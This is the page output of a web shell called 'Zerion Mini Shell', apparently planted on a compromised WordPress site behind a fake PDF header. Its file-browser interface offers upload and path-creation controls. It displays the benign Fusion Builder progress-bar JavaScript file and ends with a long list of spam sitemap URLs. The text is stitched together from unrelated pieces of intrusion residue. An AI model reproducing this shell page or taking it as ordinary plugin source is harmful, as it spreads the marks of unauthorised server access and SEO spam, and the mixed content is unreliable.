%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/fusion-builder/front-end/views/elements/
Upload File :
Create Path :
Current File : /dom645759/wp-content/plugins/fusion-builder/front-end/views/elements/view-progress-bar.js

var FusionPageBuilder = FusionPageBuilder || {};

( function() {

	jQuery( document ).ready( function() {

		// Progress Bar Element View.
		FusionPageBuilder.fusion_progress = FusionPageBuilder.ElementView.extend( {

			/**
			 * Modify template attributes.
			 *
			 * @since 2.0
			 * @return {Object}
			 */
			filterTemplateAtts: function( atts ) {
				var attributes = {};

				// Validate values.
				this.validateValues( atts.values );

				this.extras                      = atts.extras;

				// Create attribute objects
				attributes.attr                  = this.buildAttr( atts.values );
				attributes.attrBar               = this.buildBarAttr( atts.values );
				attributes.attrActiveValueWrap   = this.buildActiveValueWrapAttr( atts.values, atts.extras );
				attributes.attrEditor            = this.buildInlineEditorAttr( atts.values );
				attributes.attrContent           = this.buildContentAttr( atts.values );

				attributes.attrMaximumValueWrap  = this.buildMaxValueWrapAttr( atts.values, atts.extras );
				attributes.attrTextsWrap         = this.buildTextsWrapAttr( atts.values, atts.extras );


				// Any extras that need passed on.
				attributes.cid                   = this.model.get( 'cid' );
				attributes.values                = atts.values;
				attributes.sanitizedActiveValue  = this.convertHtmlStringToFloat( atts.values.percentage );
				attributes.sanitizedMaximumValue = this.convertHtmlStringToFloat( atts.values.maximum_value );
				attributes.percentage            = this.sanitizePercentage( atts.values.percentage, atts.values.maximum_value, atts.values.stock_mode );

				return attributes;
			},

			/**
			 * Modifies the values.
			 *
			 * @since 2.0
			 * @param {Object} values - The values object.
			 * @return {void}
			 */
			validateValues: function( values ) {
				values.filledbordersize = _.fusionValidateAttrValue( values.filledbordersize, 'px' );
				values.margin_bottom    = _.fusionValidateAttrValue( values.margin_bottom, 'px' );
				values.margin_left      = _.fusionValidateAttrValue( values.margin_left, 'px' );
				values.margin_right     = _.fusionValidateAttrValue( values.margin_right, 'px' );
				values.margin_top       = _.fusionValidateAttrValue( values.margin_top, 'px' );
			},

			/**
			 * Builds attributes.
			 *
			 * @since 2.0
			 * @param {Object} values - The values object.
			 * @return {Object}
			 */
			buildAttr: function( values ) {
				var attr = _.fusionVisibilityAtts( values.hide_on_mobile, {
					class: 'fusion-progressbar',
					style: this.getInlineStyle( values )
				} );

				if ( '' !== values[ 'class' ] ) {
					attr[ 'class' ] += ' ' + values[ 'class' ];
				}

				if ( '' !== values.id ) {
					attr.id = values.id;
				}

				return attr;
			},

			/**
			 * Builds attributes.
			 *
			 * @since 2.0
			 * @return {Object}
			 */
			buildInlineEditorAttr: function() {
				var attr = {
					class: 'fusion-progressbar-text',
					id: 'awb-progressbar-label-' + this.model.get( 'cid' )
				};

				attr = _.fusionInlineEditor( {
					cid: this.model.get( 'cid' ),
					'disable-return': true,
					'disable-extra-spaces': true,
					toolbar: 'simple'
				}, attr );

				return attr;
			},

			/**
			 * Builds attributes.
			 *
			 * @since 2.0
			 * @param {Object} values - The values object.
			 * @return {Object}
			 */
			buildContentAttr: function( values ) {
				var attr = {
					class: 'progress progress-bar-content not-animated',
					role: 'progressbar'
				};

				attr[ 'aria-labelledby' ]  = 'awb-progressbar-label-' + this.model.get( 'cid' );
				attr[ 'aria-valuemin' ]    = '0';
				attr[ 'aria-valuemax' ]    = '100';
				attr[ 'aria-valuenow' ]    = this.sanitizePercentage( values.percentage, values.maximum_value, values.stock_mode );
				attr['data-filling-speed'] = values.filling_speed;

				return attr;
			},

			/**
			 * Builds attributes.
			 *
			 * @since 2.0
			 * @param {Object} values - The values object.
			 * @return {Object}
			 */
			buildBarAttr: function( values ) {
				var attr = {
					class: 'fusion-progressbar-bar progress-bar',
					style: ''
				};

				if ( 'yes' === values.striped ) {
					attr[ 'class' ] += ' progress-striped';
				}

				if ( 'yes' === values.animated_stripes ) {
					attr[ 'class' ] += ' active';
				}

				if ( '' !== values[ 'class' ] ) {
					attr[ 'class' ] += ' ' + values[ 'class' ];
				}

				if ( '' !== values.id ) {
					attr.id = values.id;
				}

				return attr;
			},

			/**
			 * Builds attributes.
			 *
			 * @since 2.0
			 * @param {Object} values - The values object.
			 * @return {Object}
			 */
			buildActiveValueWrapAttr: function( values, extras ) {
				var attr = {
					class: 'progress-title',
				};

				attr[ 'class' ] += ' awb-' + values.text_position.replace( '_', '-' );

				if ( 'on_bar' !== values.text_position ) {
					switch ( values.text_align ) {
						case 'center':
							attr[ 'class' ] += ' awb-align-center';
							break;
						case 'left':
						case '':
							attr[ 'class' ] += extras.is_rtl ? ' awb-align-end' : ' awb-align-start';
							break;
						case 'right':
							attr[ 'class' ] += extras.is_rtl ? ' awb-align-start' : ' awb-align-end';
							break;
					}
				}

				return attr;
			},

			/**
			 * Builds the attributes array.
			 *
			 * @access public
			 * @since 3.14.1
			 * @return array
			 */
			buildMaxValueWrapAttr: function( values, extras ) {
				var attr = {
					class: 'awb-pb-max-value-wrap',
				};

				attr[ 'class' ] += ' awb-' + values.maximum_value_text_position.replace( '_', '-' );

				if ( 'on_bar' !== values.maximum_value_text_position ) {
					switch ( values.maximum_value_text_align ) {
						case 'center':
							attr[ 'class' ] += ' awb-align-center';
							break;
						case 'left':
						case '':
							attr[ 'class' ] += extras.is_rtl ? ' awb-align-end' : ' awb-align-start';
							break;
						case 'right':
							attr[ 'class' ] += extras.is_rtl ? ' awb-align-start' : ' awb-align-end';
							break;
					}
				}

				return attr;
			},

			buildTextsWrapAttr: function( values, extras ) {
				var attr = {
					class: 'awb-pb-texts-wrap',
				},
				activeValueAlign,
				maximumValueAlign;

				// Make sure the active value alignment is correct, if it is set to text flow.
				if ( '' === values.text_align ) {
					if ( extras.is_rtl ) {
						activeValueAlign = 'right';
					} else {
						activeValueAlign = 'left';
					}
				} else {
					activeValueAlign = values.text_align;
				}

				// Make sure the maximum value alignment is correct, if it is set to text flow.
				if ( '' === values.maximum_value_text_align ) {
					if ( extras.is_rtl ) {
						maximumValueAlign = 'right';
					} else {
						maximumValueAlign = 'left';
					}
				} else {
					maximumValueAlign = values.maximum_value_text_align;
				}

				// If active and maximum value are displayed on opposite ends, we can stay within one row.
				if ( ( 'left' === activeValueAlign && 'right' === maximumValueAlign ) || ( 'right' === activeValueAlign && 'left' === maximumValueAlign ) ) {
					attr[ 'class' ] += ' awb-space-between';

					// Make sure we cover the left/right aspect correctly.
					if ( ( 'left' === activeValueAlign && 'right' === maximumValueAlign && extras.is_rtl ) || ( 'right' === activeValueAlign && 'left' === maximumValueAlign && ! extras.is_rtl ) ) {
						attr[ 'class' ] += ' awb-flow-row-reverse';
					}
				} else {
					attr[ 'class' ] += ' awb-direction-column';
				}

				return attr;
			},

			getInlineStyle: function( values ) {
				var cssVarsOptions,
					customVars = {};
				this.values = values;

				cssVarsOptions = [
					'text_align',
					'text_line_height',
					'text_text_transform',
					'textcolor',

					'maximum_value_line_height',
					'maximum_value_text_transform',
					'maximum_value_color',
					'maximum_value_text_align',

					'height',
					'filledcolor',
					'fully_filled_color',
					'unfilledcolor',

					'border_radius_top_left',
					'border_radius_top_right',
					'border_radius_bottom_left',
					'border_radius_bottom_right',

					'filledbordersize',
					'filledbordercolor'
				];

				cssVarsOptions.margin_top = { 'callback': _.fusionGetValueWithUnit };
				cssVarsOptions.margin_right = { 'callback': _.fusionGetValueWithUnit };
				cssVarsOptions.margin_bottom = { 'callback': _.fusionGetValueWithUnit };
				cssVarsOptions.margin_left = { 'callback': _.fusionGetValueWithUnit };

				cssVarsOptions.text_font_size = { 'callback': _.fusionGetValueWithUnit };
				cssVarsOptions.text_letter_spacing = { 'callback': _.fusionGetValueWithUnit };

				cssVarsOptions.maximum_value_font_size = { 'callback': _.fusionGetValueWithUnit };
				cssVarsOptions.maximum_value_letter_spacing = { 'callback': _.fusionGetValueWithUnit };

				cssVarsOptions.filling_speed = { 'callback': this.sanitizeFillingSpeed };

				// Need to set the remaining width percentage on the maximum value wrapper, if it is on bar.
				customVars.maximum_value_wrapper_width = ( 100 - this.sanitizePercentage( values.percentage, values.maximum_value, values.stock_mode ) ) + '%';

				// Active value font.
				jQuery.each( _.fusionGetFontStyle( 'text_font', values, 'object' ), function( rule, value ) {
					customVars[ rule ] = value;
				} );

				// Maximum value font.
				jQuery.each( _.fusionGetFontStyle( 'maximum_value_font', values, 'object' ), function( rule, value ) {
					customVars[ 'maximum-value-' + rule ] = value;
				} );

				return this.getCssVarsForOptions( cssVarsOptions ) + this.getCustomCssVars( customVars );
			},

			/**
			 * Helper method to sanitize filling_speed arg.
			 *
			 * @since 3.14.1
			 * @param {String} value The value to sanitize.
			 * @return {String}
			 */
			sanitizeFillingSpeed: function( value ) {
				return '' !== value ? value + 'ms' : value;
			},

			/**
			 * Sanitize the percentage value, because this can come also from a
			 * dynamic data which can be a string or a float.
			 *
			 * @since 3.6
			 * @param {String} activeValue - The active value.
			 * @param {String} maximumValue - The maximum value.
			 * @param {String} stockMode - Flag to decide if stock mode should be used..
			 * @return {Float}
			 */
			sanitizePercentage: function( activeValue, maximumValue, stockMode ) {
				let percentage = 0;

				activeValue  = this.convertHtmlStringToFloat( activeValue );
				maximumValue = this.convertHtmlStringToFloat( maximumValue );

				if ( ! activeValue ) {
					activeValue = 0;
				}

				// No maximum value is set, so this is 100%.
				if ( ! maximumValue ) {
					return 100;
				}

				// Stock management calc.
				maximumValue = 'yes' === stockMode ? maximumValue + activeValue : maximumValue;

				percentage = activeValue / maximumValue * 100;
				percentage = Math.round( percentage );

				if ( 0 > percentage ) {
					percentage = 0;
				}

				if ( 100 < percentage ) {
					percentage = 100;
				}

				return percentage;
			},

			/**
			 * Convert an HTML string value to a float.
			 *
			 * @since 3.14.1
			 * @param {String} value - The value that is wrapped in an HTML string.
			 * @return {Float}
			 */
			convertHtmlStringToFloat: function( value ) {
				if ( jQuery.isNumeric( value ) ) {
					return parseFloat(value);
				}

				const isWooCommercePrice = -1 !== value.indexOf( 'woocommerce-Price' );

				// Strip HTML and decode entities
				const div = document.createElement( 'div' );
				div.innerHTML = value;
				value         = div.textContent || div.innerText || '';

				let match;

				if ( isWooCommercePrice ) {

					// Escape separators for regex.
					const escapedDecimal  = this.extras.woo_decimal_separator.replace( /[.*+?^${}()|[\]\\]/g, '\\$&' );
					const escapedThousand = this.extras.woo_thousand_separator.replace( /[.*+?^${}()|[\]\\]/g, '\\$&' );
					const pattern         = new RegExp( '\\d{1,3}(?:' + escapedThousand + '\\d{3})*(?:' + escapedDecimal + '\\d+)?' );

       			 	match = value.match(pattern);

					if ( match ) {
						value = match[0];
						value = '' !== this.extras.woo_thousand_separator ? value.split( this.extras.woo_thousand_separator ).join( '' ) : value;
						value = '.' !== this.extras.woo_decimal_separator ? value.replace( this.extras.woo_decimal_separator, '.' ) : value;
					}
				} else {
					match = value.match( /\d+(?:\.\d+)?/ );

					if ( match ) {
						value = match[0];
					}
				}

				value = parseFloat( value );

				return value ? value : 0;
			}
		} );
	} );
}( jQuery ) );

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap877.xml 2026-12-01 https://louisvillegop.com/sitemap649.xml 2026-12-01 https://louisvillegop.com/sitemap784.xml 2026-12-01 https://louisvillegop.com/sitemap451.xml 2026-12-01 https://louisvillegop.com/sitemap335.xml 2026-12-01 https://louisvillegop.com/sitemap621.xml 2026-12-01 https://louisvillegop.com/sitemap260.xml 2026-12-01 https://louisvillegop.com/sitemap967.xml 2026-12-01 https://louisvillegop.com/sitemap683.xml 2026-12-01 https://louisvillegop.com/sitemap355.xml 2026-12-01 https://louisvillegop.com/sitemap338.xml 2026-12-01 https://louisvillegop.com/sitemap85.xml 2026-12-01 https://louisvillegop.com/sitemap680.xml 2026-12-01 https://louisvillegop.com/sitemap672.xml 2026-12-01 https://louisvillegop.com/sitemap182.xml 2026-12-01 https://louisvillegop.com/sitemap469.xml 2026-12-01 https://louisvillegop.com/sitemap752.xml 2026-12-01 https://louisvillegop.com/sitemap648.xml 2026-12-01 https://louisvillegop.com/sitemap88.xml 2026-12-01 https://louisvillegop.com/sitemap193.xml 2026-12-01 https://louisvillegop.com/sitemap2.xml 2026-12-01 https://louisvillegop.com/sitemap341.xml 2026-12-01 https://louisvillegop.com/sitemap314.xml 2026-12-01 https://louisvillegop.com/sitemap47.xml 2026-12-01 https://louisvillegop.com/sitemap651.xml 2026-12-01 https://louisvillegop.com/sitemap598.xml 2026-12-01 https://louisvillegop.com/sitemap165.xml 2026-12-01 https://louisvillegop.com/sitemap601.xml 2026-12-01 https://louisvillegop.com/sitemap28.xml 2026-12-01 https://louisvillegop.com/sitemap271.xml 2026-12-01 https://louisvillegop.com/sitemap416.xml 2026-12-01 https://louisvillegop.com/sitemap959.xml 2026-12-01 https://louisvillegop.com/sitemap475.xml 2026-12-01 https://louisvillegop.com/sitemap474.xml 2026-12-01 https://louisvillegop.com/sitemap666.xml 2026-12-01 https://louisvillegop.com/sitemap270.xml 2026-12-01 https://louisvillegop.com/sitemap828.xml 2026-12-01 https://louisvillegop.com/sitemap69.xml 2026-12-01 https://louisvillegop.com/sitemap544.xml 2026-12-01 https://louisvillegop.com/sitemap361.xml 2026-12-01 https://louisvillegop.com/sitemap455.xml 2026-12-01 https://louisvillegop.com/sitemap741.xml 2026-12-01 https://louisvillegop.com/sitemap188.xml 2026-12-01 https://louisvillegop.com/sitemap5.xml 2026-12-01 https://louisvillegop.com/sitemap189.xml 2026-12-01 https://louisvillegop.com/sitemap497.xml 2026-12-01 https://louisvillegop.com/sitemap91.xml 2026-12-01 https://louisvillegop.com/sitemap287.xml 2026-12-01 https://louisvillegop.com/sitemap615.xml 2026-12-01 https://louisvillegop.com/sitemap43.xml 2026-12-01 https://louisvillegop.com/sitemap885.xml 2026-12-01 https://louisvillegop.com/sitemap633.xml 2026-12-01 https://louisvillegop.com/sitemap285.xml 2026-12-01 https://louisvillegop.com/sitemap997.xml 2026-12-01 https://louisvillegop.com/sitemap154.xml 2026-12-01 https://louisvillegop.com/sitemap590.xml 2026-12-01 https://louisvillegop.com/sitemap226.xml 2026-12-01 https://louisvillegop.com/sitemap743.xml 2026-12-01 https://louisvillegop.com/sitemap370.xml 2026-12-01 https://louisvillegop.com/sitemap971.xml 2026-12-01 https://louisvillegop.com/sitemap557.xml 2026-12-01 https://louisvillegop.com/sitemap146.xml 2026-12-01 https://louisvillegop.com/sitemap729.xml 2026-12-01 https://louisvillegop.com/sitemap75.xml 2026-12-01 https://louisvillegop.com/sitemap551.xml 2026-12-01 https://louisvillegop.com/sitemap94.xml 2026-12-01 https://louisvillegop.com/sitemap178.xml 2026-12-01 https://louisvillegop.com/sitemap34.xml 2026-12-01 https://louisvillegop.com/sitemap237.xml 2026-12-01 https://louisvillegop.com/sitemap993.xml 2026-12-01